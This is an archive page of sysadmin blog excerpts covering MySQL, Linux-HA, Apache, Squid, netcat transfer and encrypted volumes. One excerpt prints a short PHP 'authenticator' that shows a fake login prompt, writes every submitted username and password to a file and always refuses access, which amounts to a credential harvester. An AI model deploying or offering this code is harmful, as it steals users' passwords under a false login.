//
archives

Archive for

Excel to MySQL Importer With ActivePerl

1) CREATE DATABASE `mydb` DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci; 2) CREATE USER ‘mydbusr’@’%’ IDENTIFIED BY ‘mypassword’; 3) GRANT USAGE ON * . * TO ‘mydbusr’@’%’ IDENTIFIED BY ‘mypassword’ WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ; 4) GRANT SELECT , INSERT , UPDATE , DELETE , CREATE , DROP , REFERENCES , … Continue reading

Linux High Availability (Linux-HA)

Linux-HA – RHEL 5.3 x86_64 installation Notes 1.Install the following Prerequisite packages # yum install e2fsprogs-devel.x86_64 # yum install glib2-devel.x86_64 # yum install gnutls-devel.x86_64 # yum install ncurses-devel.x86_64 # yum install pam-devel.x86_64 # yum install python-devel.x86_64 # yum install perl-TimeDate.noarch 2.Download LINUX-HA Packages from openSUSE repo; http://download.opensuse.org/repositories/server:/ha-clustering/RHEL_5/x86_64/ – heartbeat-2.99.2-8.1.x86_64.rpm – heartbeat-common-2.99.2-8.1.x86_64.rpm – heartbeat-resources-2.99.2-8.1.x86_64.rpm – libheartbeat2-2.99.2-8.1.x86_64.rpm … Continue reading

A Simple PHP Authenticator which logs users’ usernames and passwords

<?php if (!isset($_SERVER[‘PHP_AUTH_USER’])) { header(‘WWW-Authenticate: Basic realm=”Restricted Area”‘); header(‘HTTP/1.0 401 Unauthorized’); echo ‘401 Unauthorized’; exit; } else { $a=$_SERVER[‘PHP_AUTH_USER’]; $b=$_SERVER[‘PHP_AUTH_PW’]; $myFile = “./testFile.txt”; $fh = fopen($myFile, ‘a’) or die(“ferror!!!”); fwrite($fh, $a); fwrite($fh,”\n”); fwrite($fh, $b); fwrite($fh,”\n”); fwrite($fh,”——————-\n”); fclose($fh); header(‘WWW-Authenticate: Basic realm=”Restricted Area”‘); header(‘HTTP/1.0 401 Unauthorized’); echo ‘401 Unauthorized’; exit; } ?> # tail -f testFile.txt ——————- … Continue reading

Installation of SUN JAVA Under RHEL

0. Download JAVA and Run the InstallerJava can be downloaded through http://java.sun.com/products/archive/ link # cd /opt# chmod +x jdk-6u11-linux-x64.bin# script -a jdk_installation.txt# ./jdk-6u11-linux-x64.bin# exit 1.# rm /usr/bin/java2.# test -L /usr/local/java && mv /usr/local/java /usr/local/java_orig_system3.# find /usr/local -maxdepth 1 -type d -name “j2sdk*” -exec rm -r {} \;4.# find /usr/local -maxdepth 1 -type d -name “jdk?.*” … Continue reading

Using Pen, mod_rewrite and mod_proxy Apache modules to perform selective url based loadbalancing/fail-over with “n” backend servers

1.Download Pen through the following link ; http://siag.nu/pen/ 2.raise the file descriptor limits by editing the /usr/include/linux/posix_types.h and /usr/include/bits/typesizes.h as follows ; change : #define __FD_SETSIZE 1024 to : #define __FD_SETSIZE 10240 and then compile Pen 3. Launch Pen as follows; ./pen -x 5000 -d -d -f 8280 server1:8280 server2:8280 4. Apache Configuration RewriteEngine on … Continue reading

SUN’s JES (DSSE, Access Manager) Prerequisite Linux Packages

Prerequisites ; 1) pam-devel.i386 2) pam.i386 3) compat-libstdc++-33.i386 4) libgcc.i386 5) zlib.i386 1. yum install pam-devel.i386 Dependencies Resolved ========================================================================== Package Arch Version Repository Size ========================================================================== Installing: pam-devel i386 0.77-66.25 myrepo 85 k Transaction Summary ========================================================================== 2.yum install pam.i386 Dependencies Resolved ========================================================================== Package Arch Version Repository Size ========================================================================== Installing: pam i386 0.77-66.25 myrepo 1.9 M Installing for dependencies: … Continue reading

How to create a Local YUM Repository for RHEL 5.3 , RHAS 4.7

1. Local YUM Repository for RHEL 5.3 # cd /etc/yum.repos.d # cat iso.repo [myrepo] name=myrepo baseurl=file:///mnt enabled=1 gpgcheck=0 # # mkdir /mnt/RHEL5.3 # cd /root/myrepo/ # mount -o loop /root/myrepo/rhel-server-5.3-x86_64-dvd.iso /mnt/RHEL5.3 # rpm -Uvh createrepo* warning: createrepo-0.4.8-1.el5.rf.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 6b8d79e6 Preparing… ########################################### [100%] 1:createrepo ########################################### [100%] # # cd /mnt/ … Continue reading

Apache seems to be eating RAM – How to reduce the memory footprint of apache using an alternative Apache other than Linux’s Pre-Packaged

#./configure \ –with-included-apr \ –prefix=/opt/apache_worker \ –with-mpm=worker –enable-so \ –enable-unique-id \ –enable-proxy –enable-proxy-http –enable-proxy-ftp \ –enable-proxy-ajp –enable-proxy-balancer \ –enable-rewrite –enable-headers –enable-setenvif \ –enable-logio \ –enable-expires \ –enable-ssl \ –enable-deflate –enable-cache –enable-file-cache –enable-mem-cache –enable-disk-cache \ –disable-autoindex –disable-asis –disable-cgi –disable-cgid \ –disable-negotiation –disable-userdir #make && make install

MySQL Driven Apache NCSA Log Parser – Linux Ansi C (gcc)

mysql> desc apacheLog; +———+————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | +———+————–+——+—–+———+——-+ | myDATE | datetime | NO | | NULL | | | hosts | varchar(255) | NO | | NULL | | | method | char(4) | NO | | NULL | | | url | varchar(255) … Continue reading

Encrypted Volumes under Linux / Windows

1. Under Linux use the following procedure ; # modprobe aes # modprobe twofish # modprobe cryptoloop # mkdir $HOME/crypto #dd if=/dev/urandom of=$HOME/crypto/container.aes bs=1k count=102400 # LOOPDEV=$( losetup -f ) # echo “Our loop device is ‘$LOOPDEV'” # losetup -e aes $LOOPDEV $HOME/crypto/container.aes    (insert a strong passphrase) # mkfs.ext3 -m 0 $LOOPDEV # tune2fs -i … Continue reading

How to transmit/receive ASCII/BINARY data between 2 hosts using netcat and file descriptors

//Server Side// [root@node1]# nc -l -p 8080 -vvvvv listening on [any] 8080 … //Client Side// [root@node2]# exec 5/dev/tcp/192.168.1.67/8080 [root@node2]# echo “this is a test” >&5 [root@node2]# echo “this is a test” |openssl base64 -e >&5

keepalived with VRRP and LVS Support under RHEL 5.3 x86_64

# yum -y install kernel-devel # yum install openssl-devel # wget http://www.keepalived.org/software/keepalived-1.1.17.tar.gz # wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.8.tar.gz # tar zxvf linux-2.6.18.8.tar.gz # cp -r linux-2.6.18.8/net/core /lib/modules/2.6.18-128.el5/build/net/ # ./configure –with-kernel-dir=/lib/modules/2.6.18-128.el5/build Keepalived configuration ———————— Keepalived version : 1.1.17 Compiler : gcc Compiler flags : -g -O2 Extra Lib : -lpopt -lssl -lcrypto Use IPVS Framework : Yes IPVS sync … Continue reading

Authenicate Apache Against Active Directory (SSO) – Eponymous LDAP Bind

// Apache Module // LoadModule authz_ldap_module modules/mod_authz_ldap.so // Apache Module // [Directory “/var/www/html”] AuthType Basic # What the users will see as a “title” of the login prompt: AuthName “Domain Credentials Required” # use plain LDAP authentication: AuthzLDAPMethod ldap # FQDN resolvable hostname (or IP) of the Windows # AD domain controller: AuthzLDAPServer 192.168.1.67 # … Continue reading

Authenticate SQUID PROXY against Active Directory (SSO)

Prerequisites; 1) Samba / Winbind sw 2) Kerberos Libraries 3) System is joined to the Active Directory 4) Squid Package Squid configuration; auth_param ntlm program /usr/bin/ntlm_auth –helper-protocol=squid-2.5-ntlmssp auth_param ntlm children 30 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param ntlm use_ntlm_negotiate on auth_param basic program /usr/bin/ntlm_auth –helper-protocol=squid-2.5-basic auth_param basic children 5 auth_param basic … Continue reading

Advertisements